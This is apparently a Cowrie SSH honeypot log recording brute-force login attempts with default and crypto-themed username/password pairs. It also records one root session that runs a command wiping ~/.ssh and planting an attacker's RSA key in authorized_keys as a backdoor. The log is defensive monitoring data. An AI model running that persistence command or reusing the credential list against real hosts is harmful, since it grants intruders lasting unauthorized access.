{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":50816,"dst_ip":"159.203.135.109","dst_port":22,"session":"d0883bded4d0","protocol":"ssh","message":"New connection: 195.178.110.218:50816 (159.203.135.109:22) [session: d0883bded4d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:41:15.481969Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:41:15.486858Z","src_ip":"195.178.110.218","session":"d0883bded4d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:41:15.567127Z","src_ip":"195.178.110.218","session":"d0883bded4d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"firedancer","password":"firedancer","message":"login attempt [firedancer/firedancer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:41:15.806398Z","src_ip":"195.178.110.218","session":"d0883bded4d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:41:16.893132Z","src_ip":"195.178.110.218","session":"d0883bded4d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":59808,"dst_ip":"159.203.135.109","dst_port":22,"session":"0c900e080b32","protocol":"ssh","message":"New connection: 193.32.162.151:59808 (159.203.135.109:22) [session: 0c900e080b32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:42:52.316816Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:42:52.321338Z","src_ip":"193.32.162.151","session":"0c900e080b32","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:42:52.458429Z","src_ip":"193.32.162.151","session":"0c900e080b32","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oracle","password":"password","message":"login attempt [oracle/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:42:53.057609Z","src_ip":"193.32.162.151","session":"0c900e080b32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:42:54.166075Z","src_ip":"193.32.162.151","session":"0c900e080b32","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":38654,"dst_ip":"10.17.0.5","dst_port":22,"session":"09544c019fa8","protocol":"ssh","message":"New connection: 92.118.39.92:38654 (10.17.0.5:22) [session: 09544c019fa8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:43:13.762071Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:43:13.766881Z","src_ip":"92.118.39.92","session":"09544c019fa8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:43:13.877284Z","src_ip":"92.118.39.92","session":"09544c019fa8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"ftp","message":"login attempt [ftp/ftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:43:14.194485Z","src_ip":"92.118.39.92","session":"09544c019fa8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:43:15.306486Z","src_ip":"92.118.39.92","session":"09544c019fa8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.76","src_port":57788,"dst_ip":"159.203.135.109","dst_port":22,"session":"3ae1229f9e2d","protocol":"ssh","message":"New connection: 92.118.39.76:57788 (159.203.135.109:22) [session: 3ae1229f9e2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:43:49.864833Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:43:49.870576Z","src_ip":"92.118.39.76","session":"3ae1229f9e2d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:43:49.969823Z","src_ip":"92.118.39.76","session":"3ae1229f9e2d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:43:50.373947Z","src_ip":"92.118.39.76","session":"3ae1229f9e2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:43:51.478788Z","src_ip":"92.118.39.76","session":"3ae1229f9e2d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":58188,"dst_ip":"159.203.135.109","dst_port":22,"session":"bf2c00a999ec","protocol":"ssh","message":"New connection: 195.178.110.218:58188 (159.203.135.109:22) [session: bf2c00a999ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:43:54.019614Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:43:54.023724Z","src_ip":"195.178.110.218","session":"bf2c00a999ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:43:54.103353Z","src_ip":"195.178.110.218","session":"bf2c00a999ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"raydium","password":"raydium","message":"login attempt [raydium/raydium] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:43:54.342685Z","src_ip":"195.178.110.218","session":"bf2c00a999ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:43:55.425642Z","src_ip":"195.178.110.218","session":"bf2c00a999ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.144.12.31","src_port":55432,"dst_ip":"10.17.0.5","dst_port":22,"session":"bb4f00cc2ddd","protocol":"ssh","message":"New connection: 72.144.12.31:55432 (10.17.0.5:22) [session: bb4f00cc2ddd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:44:49.144630Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:44:49.149373Z","src_ip":"72.144.12.31","session":"bb4f00cc2ddd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:44:49.254939Z","src_ip":"72.144.12.31","session":"bb4f00cc2ddd","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"1422","message":"login attempt [root/1422] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:44:49.693413Z","src_ip":"72.144.12.31","session":"bb4f00cc2ddd","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:44:49.943235Z","src_ip":"72.144.12.31","session":"bb4f00cc2ddd","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:44:49.946867Z","src_ip":"72.144.12.31","session":"bb4f00cc2ddd","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:44:49.949885Z","src_ip":"72.144.12.31","session":"bb4f00cc2ddd","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:44:50.053105Z","src_ip":"72.144.12.31","session":"bb4f00cc2ddd","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:44:50.293894Z","src_ip":"72.144.12.31","session":"bb4f00cc2ddd","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:44:50.297006Z","src_ip":"72.144.12.31","session":"bb4f00cc2ddd","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:44:50.400969Z","src_ip":"72.144.12.31","session":"bb4f00cc2ddd","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:44:50.404892Z","src_ip":"72.144.12.31","session":"bb4f00cc2ddd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.144.12.31","src_port":55440,"dst_ip":"10.17.0.5","dst_port":22,"session":"de709a11f683","protocol":"ssh","message":"New connection: 72.144.12.31:55440 (10.17.0.5:22) [session: de709a11f683]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:44:50.497494Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:44:50.502718Z","src_ip":"72.144.12.31","session":"de709a11f683","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:44:50.607487Z","src_ip":"72.144.12.31","session":"de709a11f683","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:44:51.041803Z","src_ip":"72.144.12.31","session":"de709a11f683","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:44:52.150414Z","src_ip":"72.144.12.31","session":"de709a11f683","protocol":"ssh"}
